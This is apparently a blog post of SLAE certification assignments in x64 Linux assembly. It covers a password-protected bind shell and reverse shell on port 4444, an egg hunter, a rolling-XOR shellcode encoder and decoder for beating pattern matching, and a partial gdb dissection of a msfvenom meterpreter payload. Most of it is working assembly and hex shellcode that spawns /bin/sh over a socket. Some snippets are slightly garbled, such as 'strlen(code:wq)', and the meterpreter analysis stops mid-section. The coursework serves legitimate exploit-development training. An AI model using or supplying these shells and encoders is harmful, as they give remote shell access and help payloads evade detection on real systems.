Create a custom crypter, any encryption schema, any language
Repository:https://github.com/Farad77/pentestAssign7.git
Create a custom crypter, any encryption schema, any language
Repository:https://github.com/Farad77/pentestAssign7.git
Take 3 shellcode from ShellStorm and create polymorphic version to beat pattern matching( http://shell-storm.org/ )
Requirements:
*Must not be more than 150% larger than original
*Bonus point to make it smaller than original
Repository:https://github.com/Farad77/penttestAssign6.git
Take 3 shellcode from msfpayload linux x64, use gdb to dissect the functionnality and document your analysis
As msfpayload has been removed in 2015, i will use msfvenom to get the payload.
msfvenom -l payloads |grep linux/x64

We will first go through:
linux/x64/meterpreter/bind_tcp
We will use gdb to debug through it.
We create the payload using msfvenom:
msfvenom -p linux/x64/meterpreter/bind_tcp -f elf -o ass5SLEA

Payload start with a syscall using push-pop technique to move value to registers:
push 0x29 pop rax ; rax= 41 cdq push 0x2 pop rdi push 0x1 pop rsi syscall ; syscall 41 is sys_socket
So it’s a socket call:
int socket(int family, int type, int protocol);
rdi=2 => family =2
Family values are:
AF_UNIX, AF_LOCAL Local communication unix(7)
AF_INET IPv4 Internet protocols ip(7)
AF_INET6 IPv6 Internet protocols ipv6(7)
AF_IPX IPX – Novell protocols
AF_NETLINK Kernel user interface device netlink(7)
AF_X25 ITU-T X.25 / ISO-8208 protocol x25(7)
AF_AX25 Amateur radio AX.25 protocol
AF_ATMPVC Access to raw ATM PVCs
AF_APPLETALK AppleTalk ddp(7)
AF_PACKET Low level packet interface packet(7)
AF_ALG Interface to kernel crypto API
So family is AF_INET
rsi=1 => protocol is 1
Protocol values are:
SOCK_STREAM Provides sequenced, reliable, two-way, connection-based byte streams. An out-of-band data transmission mechanism may be supported.
SOCK_DGRAM Supports datagrams (connectionless, unreliable messages of a fixed maximum length).
SOCK_SEQPACKET Provides a sequenced, reliable, two-way connection-based data transmission path for datagrams of fixed maximum length; a consumer is required to read an entire packet with each input system call.
SOCK_RAW Provides raw network protocol access.
SOCK_RDM Provides a reliable datagram layer that does not guarantee ordering.
SOCK_PACKET Obsolete and should not be used in new programs; see packet(7).
So protocol is SOCK_STREAM
This first block is creating a sock_stream socket over IPv4 and stocking the value in rdi.
Next block

push rdx mov DWORD PTR [rsp],0x5c110002 ;get this value on the stack mov rsi,rsp ;retrieve the adress in rsi push 0x10 pop rdx ;rdx=16 push 0x31 ; pop rax ;rax is 49 syscall ;sys_bind
With rax at 49 a syscall is indeed a sys_bind:
int bind(int sockfd, const struct sockaddr *addr, addrlen);
rdi= our previous IPv4 socket
rsi= the adress of 0x5c110002
rdx=16=the address length
so in the memory location point by rsi we have a value that will be use as reference for bind. 0x5c110002 ended by 00s
In ip(7) the AF_NET struct addr is defined as:
struct sockaddr_in {
sa_family_t sin_family;
in_port_t sin_port;
struct in_addr sin_addr;
};
struct in_addr {
uint32_t s_addr;
};
Create a custom encoding scheme like the insertion encoder
POC it with the Execv-Stack example
Repository:https://github.com/Farad77/pentestAssign4.git
My idea for this custom encoder is to use the same idea of the XOR Encoder but using only the initial key to encode the first byte and then use this encoded byte as my new key.
I can forsee an issue related to null byte appearing from two similar neighbour but we will do our Poc first.
First we get the Excev-Stack byte code:
« \x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05 »
With python we will encode the first byte by XORing it with the initial key (0xAA) and then XOR the next byte with the previous value
#!/usr/bin/python
shellcode = ("\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05")
encoded = ""
encoded2 = ""
print 'Encoded shellcode ...'
newKey=0xAA
for x in bytearray(shellcode) :
# XOR Encoding
y = x^newKey
newKey=y
encoded += '\\x'
encoded += '%02x' % y
encoded2 += '0x'
encoded2 += '%02x,' %y
print encoded
print encoded2
print 'Len: %d' % len(bytearray(shellcode))
We get our encoded shellcode, no nullbyte
0xe2,0xd3,0x13,0x43,0x0b,0xb0,0x9f,0xfd,0x94,0xfa,0xd5,0xfa,0x89,0xe1,0xb2,0xfa,0x73,0x94,0xc4,0x8c,0x05,0xe7,0xb0,0xf8,0x71,0x97,0xdf,0x5c,0x9c,0xa7,0xa8,0xad
The assembler decoder version do the exact opposite:
Take the encoded shellcode, take the first byte,stock it, xor it with the initial key (0xAA), and then use the stocked byte as the new xoring key.
global _start
section .text
_start:
jmp encoded
getEncodedShellCode:
pop rsi
xor rax,rax ;key will be rax
xor rdx,rdx ;buffer
xor rdi,rdi
xor rcx,rcx
add cl,32
add al,0xAA
looping:
mov dl,byte [rsi]
mov dil,dl
xor rdi,rax
mov byte [rsi],dil
inc rsi
mov al,dl
dec rcx
cmp rcx,0
jne looping
sub rsi,32
call rsi
encoded:
call getEncodedShellCode
encoded_shellcode db 0xe2,0xd3,0x13,0x43,0x0b,0xb0,0x9f,0xfd,0x94,0xfa,0xd5,0xfa,0x89,0xe1,0xb2,0xfa,0x73,0x94,0xc4,0x8c,0x05,0xe7,0xb0,0xf8,0x71,0x97,0xdf,0x5c,0x9c,0xa7,0xa8,0xad
We got a null byte because of cmp cx,0, so we will replace the handmand looping system with the « loop » instruction.
Code is avaiable at: https://github.com/Farad77/pentestAssign4/blob/master/polyXORdecoder.asm
As i said in the beginning there’s could be an issue where null byte appearing in the encoded shellcode, so we could:
-Iterate through different initial keys if it’s happening
Python encoder will check if encoding result is 00 , and restart the whole process using another key compute using the initial one(from 0xAA to 0xAB for example).
Egg Hunter Shell Code
Create a working demo of an Egg Hunter shellcode
Should be configurable with different payload
Repository: https://github.com/Farad77/pentestAssign3.git
EggHunter is a technique used in bufferoverflow attack when there’s not enough space to inject a shellcode.
Purpose is to inject a tiny piece of code that will then search through the memory for a « special egg ». The egg is a special tag
placed just before the shellcode acting like a beacon allowing the egghunter to proceed and launch the shellcode.
So we will need to make 3 things
So to test what i could and couldn’t do i tried a simple loop from the current memory at the entrypoint
global _start
section .text
_start:
call getEgg
egg db "w00t" ;change your 4 bytes egg here
getEgg:
pop rsi
mov edi, dword [rsi]
mov rax,rsp
inc rax
looping:
dec rax
cmp [rax-4], rdi
jne looping
cmp [rax-8],rdi
jne looping
Problem with this code is that, whenever you hit a wrong portion of the memory it will crash, we don’t want that so we will have to find a way to properly scan the memory for our egg.
Looking online i found multiple implementation of egghunter, some for windows using NTDISPLAYSTRING for example, and for linux i found some clue and one seems apealing: using sigaction syscall.
But sigaction syscall wasnt here in 64bit call table there’s was a rt_sigaction but it didn’t work like i want it too.
So i tried the sys_access syscall: rsi to 0, rdi with an address (starting at 0), sys_acess will tell us if we can read memory at this adress, if we can’t al will be 0xf2 and we will change page and try another one.
Using getconf PAGE_SIZE we see that a page size is 4096, so we add 1000h to rdi to change page and go on with our loop.
global _start
section .text
getEgg:
pop rsi
mov ebx, [rsi]
xor rdi,rdi
dec rdi
xor rsi,rsi ;mode for sys_access
xor rdx,rdx
add dl,8
problem:
xor rax,rax
add rdx,0x1000 ;getconf PAGE_SIZE is 4096
mov rdi,rdx
looping:
inc rdi
xor rax,rax
mov al,21 ;sys_access
syscall
cmp al,0xf2
je problem
cmp dword [rdi-4],ebx
jne looping
;;found 1 part
cmp dword [rdi-8],ebx
jne looping
;;found 2 part jump to the shellcode behind the egg
add rdi,4
call rdi
Inside the loop we test rdi-4 and rdi-8 for the two egg tag and if it’s ok we call the shell code.
For our first POC i did a full asm one, embedding the shellcode in our assembly code.
The full code is at ( https://github.com/Farad77/pentestAssign3/blob/master/EggHunter_fullpoc.asm )
Now we have to remove Nul bytes, using objdump -M intel -d EggHunter.o

Our page increase is the only thing causing trouble here:
so instead of add rdx,0x100
we will use the xor rax,rax, put 0x10 in ah and adding rdx to rax
global _start
section .text
getEgg:
pop rsi
mov ebx, [rsi]
xor rdi,rdi
dec rdi
xor rsi,rsi ;mode for sys_access
xor rdx,rdx
add dl,8
problem:
xor rax,rax
mov ah,0x10
add rdx,rax ;getconf PAGE_SIZE is 4096 so 1000h, to remove null bytes we put 10 in dh, 00 is already in dl so edx=rdx=10 00h
mov rdi,rdx
looping:
inc rdi
xor rax,rax
mov al,21 ;sys_access
syscall
cmp al,0xf2
je problem
cmp dword [rdi-4],ebx
jne looping
cmp dword [rdi-8],ebx
jne looping
add rdi,4
call rdi
_start:
call getEgg
egg db "w00t" ;change your 4 bytes egg here
; shellcode db 0x77,0x30,0x30,0x74,0x77,0x30,0x30,0x74,0x31,0xc0,0x48,0xbb,0xd1,0x9d,0x96,0x91,0xd0,0x8c,0x97,0xff,0x48,0xf7,0xdb,0x53,0x54,0x5f,0x99,0x52,0x57,0x54,0x5e,0xb0,0x3b,0x0f,0x05
We will now test it in our C skeletton:
#include<stdio.h>
#include<string.h>
unsigned char egghunter[]=\
"\x5e\x8b\x1e\x48\x31\xff\x48\xff\xcf\x48\x31\xf6\x48\x31\xd2\x80\xc2\x08\x48\x31\xc0\xb4\x10\x48\x01\xc2\x48\x89\xd7\x48\xff\xc7\x48\x31\xc0\xb0\x15\x0f\x05\x3c\xf2\x74\xe7\x39\x5f\xfc\x75\xed\x39\x5f\xf8\x75\xe8\x48\x83\xc7\x04\xff\xd7\xe8\xc0\xff\xff\xff\x77\x30\x30\x74";
unsigned char code[] = \
"\x77\x30\x30\x74\x77\x30\x30\x74\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("Egghunter Length: %d\n", (int)strlen(egghunter));
printf("code Length: %d\n", (int)strlen(code:wq));
int (*ret)() = (int(*)())egghunter;
ret();
}
But after compiling and launching seems the app is hanging:

So let’s launch gdb and see what’s going on: gdb -q shellcode -tui

Our binary is runing in 0x0000555555554692 adressing, that’s a lot!We go from 0 adding 4096 for every step.
That’s 23Billions step to take to even get to our code, so without a good idea of where we could start instead of starting from 0 the egg hunting is gonna take long.
Let’s launch it and time code it for the fun, and in the mean time i will look for an alternative.
If we could start our egghunt near our execution code, research would be much faster.
For this i will use the sys_shmdt syscall , ou puts the adress of the next instruction in rcx, we will then null the lower portion of the register and use this as base for our research.
So it will search for the egg in the proximity of the execution, not as robust as our first implementation but most certainly quicker.
Full code is avaiable at: https://github.com/Farad77/pentestAssign3/blob/master/EggHunterfast.asm
xor rax,rax
push rax
add al,67 ;get current address
syscall
pop rax
mov cx,ax ;null lower part of memory to backtrack a little
mov rdx,rcx
Execution time is immediate, we get the shell so the hunt as been successful.
This implementation is not fail proof and could be work on, but it helped me validate the egg hunter using the c skeleton program.
Shell Reverse TCP
Requirements:
*Reverse connect to a configured IP and port
*Needs a password
*If password correct execs a shell
*Remove 0x00
Repository:https://github.com/Farad77/pentestAssign2.git
So for this second assignement, the idea was to put an authentification system to areverse tcp shell.
The binary is trying to connect to a port and then wait for the password to give shell.
xor rax,rax
add al,41
xor rsi,rsi
add sil,1
xor rdi,rdi
add dil,2
xor rdx,rdx
syscall ;socket create
mov rdi,rax ;socket stocked
xor rax,rax
push rax
;pour le connect il nous faut plusieurs données
;struct_addr: 8byte de ip addr (127.0.0.1) (7f.0.0.1)
;l'adresse du serveur: ANY (0)
;le port codé en big endian (hton converti en hex)
;Le AF_INET=2
xor rax,rax
mov byte [rsp-01],0x01
mov byte [rsp-02],al
mov byte [rsp-03],al
mov byte [rsp-4],0x7f
mov word [rsp-6],0x5c11 ;5c11=23569(BE)=4444(LE)
inc rax
inc rax
mov word [rsp-8],ax
sub rsp,8
;connect= syscall 42
xor rax,rax
add al,42
mov rsi,rsp
xor rdx,rdx
add dl,16
syscall ;port ouvert
jmp waitPassword
We connect to 127.0.0.1 on port 4444 and go to waitPassword
;;;;;;;;;;;;;;;;;;;;;;;;;;;jmpcallpop from waitforPassword (buffer for password)
getBufferAddr:
pop rsi
;read 5bytes
xor rax,rax
xor rdx,rdx
add dl,5
syscall
cmp dword [rsi],0x4c414553 ;compare it with SEAL
je auth_ok
xor rax, rax
add rax, 60
xor rdi, rdi
syscall
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
waitPassword:
call getBufferAddr
pass db "AAAAB"
Password is 5 bytes so we read it from the socket and compare it with our hardcoded password « SEAL »
If auth is not ok we exit, if password matches we launch a shell (bin/sh)
auth_ok:
;dup2 0
xor rax,rax
add al,33 ;dup2
xor rsi,rsi
syscall
;dup2 1
xor rax,rax
add al,33
xor rsi,rsi
add sil,1
syscall
;dup2 2
xor rax,rax
add al,33
xor rsi,rsi
add sil,2
syscall
jmp short exec
...
exec:
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall
ShellCode in byte is « \x48\x31\xc0\x04\x29\x48\x31\xf6\x40\x80\xc6\x01\x48\x31\xff\x40\x80\xc7\x02\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x48\x31\xc0\xc6\x44\x24\xff\x01\x88\x44\x24\xfe\x88\x44\x24\xfd\xc6\x44\x24\xfc\x7f\x66\xc7\x44\x24\xfa\x11\x5c\x48\xff\xc0\x48\xff\xc0\x66\x89\x44\x24\xf8\x48\x83\xec\x08\x48\x31\xc0\x04\x2a\x48\x89\xe6\x48\x31\xd2\x80\xc2\x10\x0f\x05\xeb\x48\x48\x31\xc0\x04\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x04\x21\x48\x31\xf6\x40\x80\xc6\x01\x0f\x05\x48\x31\xc0\x04\x21\x48\x31\xf6\x40\x80\xc6\x02\x0f\x05\xeb\x2a\x5e\x48\x31\xc0\x48\x31\xd2\x80\xc2\x05\x0f\x05\x81\x3e\x53\x45\x41\x4c\x74\xc4\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdb\xff\xff\xff\x41\x41\x41\x41\x42\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05 »
No Null byte and 206 bytes long.
Shell Bind TCP port
Requirements:
*Bind to a port
*Needs a password
*If password correct execs a shell
*Remove 0x00
Repository: https://github.com/Farad77/pentestAssign1.git
So for this first assignement, the idea was to put an authentification system to a tcp bind shell.
We will create a server socket, listening on port 4444, and when a client connect itself we will redirect it to the authentification part of the code
xor rax,rax
add al,41
xor rsi,rsi
add sil,1
xor rdi,rdi
add dil,2
xor rdx,rdx
syscall
mov rdi,rax ;socket server
xor rax,rax
push rax
;pour le bind il nous faut plusieurs données
;struct_addr: 8byte de 0 (push rax)
;l'adresse du serveur: ANY (0)
;le port codé en big endian (hton converti en hex)
;Le AF_INET=2
mov dword [rsp-04],eax
mov word [rsp-6],0x5c11 ;5c11=23569(BE)=4444(LE)
xor rax,rax
inc rax
inc rax
mov word [rsp-8],ax
sub rsp,8
;bind= syscall 49
xor rax,rax
add al,49
mov rsi,rsp
xor rdx,rdx
add dl,16
syscall ;port ouvert
;wait for client
;50 pour syscall
;rdi pour sock
;rsi max client
xor rax,rax
add al,50
xor rsi,rsi
add sil,2
syscall ;listen
;accept client
xor rax,rax
add al,43 ;number syscall
sub rsp,16
mov rsi,rsp ;pointeur
mov byte [rsp-1],16 ;adresse vers la valeur 16 pour le accept
dec rsp
mov rdx,rsp
syscall ;wait for client
mov r9,rax
jmp waitForPassword
Null bytes was taking care of by xoring register and adding values to low registers, converting mov rax,43 to xor rax,rax add al,43
So next part is auth. Idea is create a buffer for 5 chars, read the first byte of incoming socket and compare it to our hardcoded password: SEAL
;;;;jmpcallpop from waitforPassword (buffer for password)
getBufferAddr:
pop rsi ;retrieve pass adress
mov rdi,rax
xor rax,rax
xor rdx,rdx
add dl,40 ;read 64bytes
syscall ;read from socket
cmp dword [rsi],0x4c414553 ;compare it with SEAL
je auth_ok
xor rax, rax;exit
add rax, 60
xor rdi, rdi
syscall
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
waitForPassword:
call getBufferAddr
pass db "AAAAB"
If password is incorrect, we exit. Next step is duplicate STDIN,OU,ERR and excev bin/sh
Launch_CommandProc: ;rbx=chaine de commande;
xor rax,rax
push rax
mov rdx,rsp
push rbx
mov rdi ,rsp
push rax
push rdi
mov rsi,rsp
add al,59
syscall
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;PASSWORD IS OK GET THE SHELL
auth_ok:
;duplicate socket
;dup2 0
mov rdi,r9
xor rax,rax
add al,33 ;dup2
xor rsi,rsi
syscall
;dup2 1
xor rax,rax
add al,33
xor rsi,rsi
add sil,1
syscall
;dup2 2
xor rax,rax
add al,33
xor rsi,rsi
add sil,2
syscall
xor rax,rax ;close socket
add al,3
syscall
;execv
; /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
call Launch_CommandProc
Here we go, objdump to verify that we have no null bytes, using
echo "\"$(objdump -d BindShell64.o | grep '[0-9a-f]:' | cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g')\""
Give us our shell code in bytes
"\xeb\x54\x48\x31\xc0\x50\x48\x89\xe2\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x04\x3b\x0f\x05\xc3\x4c\x89\xcf\x48\x31\xc0\x04\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x04\x21\x48\x31\xf6\x40\x80\xc6\x01\x0f\x05\x48\x31\xc0\x04\x21\x48\x31\xf6\x40\x80\xc6\x02\x0f\x05\x48\x31\xc0\x04\x03\x0f\x05\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xe8\xac\xff\xff\xff\xeb\x2d\x5e\x48\x89\xc7\x48\x31\xc0\x48\x31\xd2\x80\xc2\x28\x0f\x05\x81\x3e\x53\x45\x41\x4c\x74\xa8\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd8\xff\xff\xff\x41\x41\x41\x41\x42\x48\x31\xc0\x04\x29\x48\x31\xf6\x40\x80\xc6\x01\x48\x31\xff\x40\x80\xc7\x02\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\x5c\x48\x31\xc0\x48\xff\xc0\x48\xff\xc0\x66\x89\x44\x24\xf8\x48\x83\xec\x08\x48\x31\xc0\x04\x31\x48\x89\xe6\x48\x31\xd2\x80\xc2\x10\x0f\x05\x48\x31\xc0\x04\x32\x48\x31\xf6\x40\x80\xc6\x02\x0f\x05\x48\x31\xc0\x04\x2b\x48\x83\xec\x10\x48\x89\xe6\xc6\x44\x24\xff\x10\x48\xff\xcc\x48\x89\xe2\x0f\x05\x49\x89\xc1\xe9\x7b\xff\xff\xff"
Passing it to our skeletton shellcode.c: Shell Code is 256 bytes, no null bytes, bind to port 4444 and need a password to get the shell
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://securitytube-training.com/online-courses/security-tube-linux-assembly-expert/
Student ID: PA-12748